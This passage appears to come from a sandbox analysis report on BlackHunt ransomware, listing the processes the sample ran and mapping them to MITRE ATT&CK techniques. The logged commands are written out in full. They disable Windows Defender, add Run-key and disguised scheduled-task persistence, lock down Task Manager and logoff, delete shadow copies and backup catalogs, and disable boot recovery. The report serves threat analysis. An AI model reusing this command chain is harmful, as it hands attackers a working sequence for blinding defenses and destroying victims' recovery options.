    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1752
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2564
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2040
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:1564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:756
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2036
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:516
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:1472
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2436
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2936
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:1968
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:1680
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:1548
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:1700
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1736
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2260
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:3048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1756
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2404
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2068
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1724
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2452
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1140
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:3064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1280
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:1224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2464
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2248
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1088
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:828
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1808
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe" /F
  2⤵
  PID:1788
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:912
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2080
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2084
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1512
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2200
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:996
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2496
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2532
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:984
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2168
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2352

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2260

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1852

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2320

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2264

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery